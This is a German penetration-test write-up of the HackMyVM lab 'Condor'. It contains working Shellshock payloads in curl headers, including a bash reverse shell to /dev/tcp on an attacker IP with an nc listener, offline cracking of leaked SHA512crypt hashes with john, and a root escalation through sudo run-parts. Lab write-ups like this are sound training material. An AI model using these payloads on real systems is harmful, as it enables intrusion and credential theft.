Condor - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
curl
feroxbuster
nc
ls
cat
cd
cp (implied)
vi
john
Crackstation (external)
su
sudo
run-parts
id
pwd

Inhaltsverzeichnis

Reconnaissance & Vulnerability Identification

Analyse: Der erste Schritt ist die Identifizierung potenzieller Schwachstellen. Da oft CGI-Skripte für Shellshock anfällig sind, wird Nmap direkt mit dem `http-shellshock`-Skript auf ein vermutetes CGI-Skript getestet.

nmap 192.168.2.128 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Bewertung: Der Scan (Ausgabe nicht gezeigt) hat vermutlich eine Shellshock-Anfälligkeit im Skript `/cgi-bin/admin.cgi` signalisiert.

Empfehlung (Pentester): Die Shellshock-Anfälligkeit manuell mit `curl` verifizieren.
Empfehlung (Admin): CGI-Skripte und den Webserver auf Shellshock-Anfälligkeit prüfen und patchen. Alte CGI-Skripte meiden.

curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://192.168.2.128/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
VULNERABLE TO SHELLSHOCK
                    
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://condor.vm/cgi-bin/admin.cgi

Analyse: Zwei `curl`-Befehle werden verwendet, um die Shellshock-Schwachstelle zu bestätigen:

  1. Der erste Befehl injiziert `echo "VULNERABLE..."` über den `User-Agent`-Header. Da die Ausgabe "VULNERABLE TO SHELLSHOCK" zurückkommt, ist die Anfälligkeit bestätigt.
  2. Der zweite Befehl injiziert `/bin/bash -c "sleep 5"`. Eine beobachtete Verzögerung von 5 Sekunden bei der Antwort bestätigt die Remote Code Execution (RCE).
Shellshock (CVE-2014-6271 und folgende) ist eine Schwachstelle in Bash, bei der speziell präparierte Umgebungsvariablen dazu führen können, dass nachfolgender Code ausgeführt wird, wenn die Variable von Bash geparst wird. CGI-Skripte setzen oft HTTP-Header (wie User-Agent oder Cookie) als Umgebungsvariablen, was sie zu einem häufigen Angriffspunkt macht.

Bewertung: Kritische RCE-Schwachstelle (Shellshock) in `/cgi-bin/admin.cgi` bestätigt. Dies ermöglicht die Ausführung beliebiger Befehle auf dem Server im Kontext des Webserver-Benutzers.

Empfehlung (Pentester): Die Schwachstelle ausnutzen, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): System dringend patchen (Bash aktualisieren) oder anfällige CGI-Skripte entfernen/ersetzen.

Analyse: Mit Feroxbuster wird nach weiteren CGI-Skripten gesucht.

┌──(root㉿Darkspirit)-[~] └─# feroxbuster -u http://condor.vm/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 200 -C 403 --no-recursion -x txt,php,[...],sh,py,cgi
[...]
200      GET        7l       28w      286c http://condor.vm/cgi-bin/condor.sh
[...]
                    

Analyse: Feroxbuster findet ein weiteres Skript: `/cgi-bin/condor.sh`. Da das Ziel `condor.vm` heißt, ist dies möglicherweise ein relevanteres oder spezifischeres Skript.

Bewertung: Ein weiteres potenzielles Ziel für Shellshock oder andere Angriffe.

Empfehlung (Pentester): Versuchen, die Shellshock-Payload gegen `/cgi-bin/condor.sh` zu richten.
Empfehlung (Admin): Alle CGI-Skripte überprüfen und absichern.

Initial Access (via Shellshock)

Analyse: Es wird versucht, die Shellshock-Schwachstelle im neu gefundenen Skript `/cgi-bin/condor.sh` auszunutzen, um eine Reverse Shell zu erhalten. Diesmal wird die Payload über den `Cookie`-Header injiziert.

┌──(root㉿Darkspirit)-[~] └─# curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.2.140/9001 0>&1' http://192.168.2.128/cgi-bin/condor.sh

Bewertung: Der `curl`-Befehl sendet die Anfrage mit der injizierten Reverse-Shell-Payload. Ein Listener wird benötigt, um die Verbindung aufzufangen.

Empfehlung (Pentester): Einen Netcat-Listener auf Port 9001 starten.
Empfehlung (Admin): Shellshock patchen.

┌──(root㉿Darkspirit)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 45198
bash: cannot set terminal process group (429): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3$
                    

Analyse: Der Netcat-Listener empfängt erfolgreich die eingehende Verbindung vom Zielsystem. Der Prompt `bash-4.3$` deutet auf eine ältere Bash-Version hin und zeigt, dass die Shell nicht als Root läuft (vermutlich als Webserver-Benutzer wie `apache` oder `www-data`).

Bewertung: Erfolg! Initialer Zugriff wurde über die Shellshock-Schwachstelle erlangt.

Empfehlung (Pentester): Shell stabilisieren (`python -c 'import pty...'` o.ä.), Benutzer identifizieren (`id`, `whoami`), Home-Verzeichnisse und Sudo-Rechte prüfen.
Empfehlung (Admin): Shellshock patchen.

Privilege Escalation (apache -> paulo)

Analyse: In der erhaltenen Shell (vermutlich als `apache` oder `www-data`) wird das System weiter erkundet.

bash-4.3$ cd /home/kevin && ls -la
drwxr-xr-x 3 kevin kevin 4096 Nov  6  2021 .
drwxr-xr-x 4 root  root  4096 Nov  6  2021 ..
lrwxrwxrwx 1 root  root     9 Nov  6  2021 .bash_history -> /dev/null
-rw-r--r-- 1 kevin kevin  220 Nov  6  2021 .bash_logout
-rw-r--r-- 1 kevin kevin 3526 Nov  6  2021 .bashrc
-rw-r--r-- 1 kevin kevin 4060 Nov  6  2021 .i_did_it_again
drwxr-xr-x 3 kevin kevin 4096 Nov  6  2021 .local
-rw-r--r-- 1 kevin kevin  807 Nov  6  2021 .profile
                    

Analyse: Der Wechsel in das Verzeichnis `/home/kevin` und das Auflisten des Inhalts ist möglich. Eine interessante versteckte Datei `.i_did_it_again` wird gefunden.

Bewertung: Der Webserver-Benutzer hat Leserechte auf `/home/kevin`. Die Datei `.i_did_it_again` ist verdächtig.

Empfehlung (Pentester): Den Inhalt von `.i_did_it_again` untersuchen.
Empfehlung (Admin): Berechtigungen von Home-Verzeichnissen prüfen. Webserver-Benutzer sollten keinen Zugriff auf Home-Verzeichnisse anderer Benutzer haben.

bash-4.3$ cat .i_did_it_again
8395d26f20d997f971919e93edee06d3:$6$TCX.c/9ARPR3KCFE$4ZhsWox9dPa8/CG4O6socHVYYM6cJbtpaBx9cefvABC8gP0vMrWsgBhUUGoAHWnJI.X.NyzP5sbtMpGGfwuS11
307dcfe346e38992d47000630bd19579:$6$gwBgUJgQHGxTex13$b/67Oe7CIvDS85hex4GrHC2RuEkLRfWHAAgimHNyxC/L5biEqSly920uazvDXx3ACrM.srme6Us78aWUEGNAG0
c34040783efce8ebedb253e854c79569:$6$WAq1h/mdGSMb9QVv$aN54cSdOf3TEsGZt94op0s9hDGWwEusVLi8PtfMmzmOl3AMNGgBMJqQaRHxPrpSFJTLB2T.vFnbYKv6eQpzUT1
0edc0358ba098a665397f277d9caa307:$6$n5AKhYSQNaywXCs0$k5X7gxoiRh/rfcUVxLHmFlhINTxnsJrqCPRCQYdKmn8UWtn2.yF8J.zqTrx3q8YdnDbdpzZvKNtK4ZqteGDEO.
dd41cb18c930753cbecf993f828603dc:$6$1tKf9R.0qo7v5DjD$uYneSfO1bb4upW2xlLw.hHGeuAtCunYhdOjQS2MBdnpPcMt0ZiZee42BjDO2jmUJffTXsKdo43SjE4pqM6WqJ/ 
[...] (viele weitere Hashes)
                    

Analyse: Der Inhalt von `.i_did_it_again` zeigt eine Liste von Einträgen im Format `MD5-Hash:SHA512crypt-Hash`. Dies sieht stark nach einer benutzerdefinierten Passwortdatei aus, bei der der MD5-Hash möglicherweise den Benutzernamen repräsentiert.

Bewertung: **Kritischer Fund!** Diese Datei enthält Passwort-Hashes ($6$ = SHA512crypt) für verschiedene Benutzer (repräsentiert durch MD5-Hashes). Diese können offline geknackt werden.

Empfehlung (Pentester): Den Inhalt dieser Datei auf die Angreifer-Maschine kopieren und die SHA512crypt-Hashes mit `john` oder `hashcat` knacken. Versuchen, die MD5-Hashes zu Benutzernamen zuzuordnen (z.B. durch Vergleich mit bekannten Benutzern oder Online-MD5-Datenbanken).
Empfehlung (Admin): Sensible Daten wie Passwort-Hashes niemals in unverschlüsselten Dateien in Home-Verzeichnissen speichern. Berechtigungen strikt verwalten.

Analyse (Hash Cracking): Die Hashes werden zur Angreifer-Maschine übertragen und in einer Datei `ppp` gespeichert. `john` wird mit der `rockyou.txt`-Wortliste verwendet.

┌──(root㉿cyber)-[~] └─# vi ppp
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt ppp
Using default input encoding: UTF-8
Loaded 29 password hashes with 29 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (dd41cb18c930753cbecf993f828603dc) 
[...]
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
                    

Analyse: John the Ripper findet das Passwort `password123` für den Hash, der zum MD5-Hash `dd41cb18c930753cbecf993f828603dc` gehört.

Analyse (Crackstation): Der MD5-Hash `dd41cb18c930753cbecf993f828603dc` wird auf Crackstation geprüft und als Benutzername `paulo` identifiziert.

crack that hash on crackstation

dd41cb18c930753cbecf993f828603dc --> paulo
                    

Bewertung: Durch Kombination der Ergebnisse von John und Crackstation wurden die Anmeldedaten für den Benutzer `paulo` ermittelt: `paulo:password123`.

Empfehlung (Pentester): Sich als Benutzer `paulo` anmelden (z.B. mit `su` aus der aktuellen Shell).
Empfehlung (Admin): Schwache Passwörter vermeiden. Keine benutzerdefinierten Passwortspeicher verwenden.

bash-4.3$ su paulo
Password: password123
paulo@condor:/home/kevin$
                    

Analyse: Mit dem Befehl `su paulo` und dem Passwort `password123` wird erfolgreich zum Benutzer `paulo` gewechselt.

Bewertung: Privilegieneskalation vom Webserver-Benutzer zu `paulo` erfolgreich.

Empfehlung (Pentester): Umgebung als `paulo` untersuchen (`id`, `pwd`, `ls`, `sudo -l`), User-Flag holen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

paulo@condor:~$ ls
user.txt
                    
paulo@condor:~$ cat user.txt
5870c58caa86a64fccc0d1b7b7717d39  -
                    

Analyse: Im Home-Verzeichnis von `paulo` wird die `user.txt` gefunden und ausgelesen.

Bewertung: Der User-Flag wurde erfolgreich extrahiert.

Empfehlung (Pentester): User-Flag dokumentieren. Nach Wegen zur Root-Eskalation suchen (`sudo -l`).
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.

Privilege Escalation (paulo -> root)

paulo@condor:~$ sudo -l
User paulo may run the following commands on condor:
    (ALL) NOPASSWD: /usr/bin/run-parts --new-session --regex '^sh$' /bin
                    

Analyse: `sudo -l` zeigt, dass `paulo` den Befehl `/usr/bin/run-parts` mit spezifischen Argumenten (`--new-session --regex '^sh$' /bin`) als jeder Benutzer (implizit `root`) ohne Passwort ausführen darf.

Bewertung: **Kritischer Privilegieneskalationsvektor!** Diese `sudo`-Regel ist unsicher. `run-parts` führt Skripte aus einem Verzeichnis aus. Die Kombination der Argumente, insbesondere `--regex '^sh$'` angewendet auf `/bin`, führt dazu, dass `/bin/sh` selbst ausgeführt wird.

Empfehlung (Pentester): Die `sudo`-Regel direkt ausführen, um eine Root-Shell zu erhalten. Diese Technik ist auf GTFOBins dokumentiert.
Empfehlung (Admin): Diese `sudo`-Regel ist extrem unsicher und sollte sofort entfernt werden. `run-parts` sollte niemals auf diese Weise über `sudo` erlaubt werden.

Proof of Concept: Privilege Escalation via sudo run-parts
Die folgende Sequenz demonstriert die Ausnutzung der unsicheren `sudo`-Regel für `run-parts`.

paulo@condor:~$ sudo run-parts --new-session --regex '^sh$' /bin
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
                    

Analyse: Der `sudo`-Befehl wird ausgeführt. `run-parts` findet `/bin/sh` basierend auf der Regex `^sh$` im Verzeichnis `/bin` und führt es aus. Da der Befehl mit `sudo` läuft, wird `/bin/sh` als `root` gestartet. Der Prompt wechselt zu `#` und `id` bestätigt Root-Rechte.

Bewertung: Erfolg! Root-Zugriff wurde durch Ausnutzung der `sudo`-Regel erlangt.

Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): Unsichere `sudo`-Regel entfernen.

Flags

cat /home/paulo/user.txt
5870c58caa86a64fccc0d1b7b7717d39
# pwd
/home/paulo
# cd /root
# ls
root.txt
# cat root.txt
fec28c2738220437750c2c9537c706f3
cat /root/root.txt
fec28c2738220437750c2c9537c706f3

Analyse: In der Root-Shell wird nach `/root` gewechselt und die Datei `root.txt` ausgelesen.

Bewertung: Der Root-Flag wurde erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen.

Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.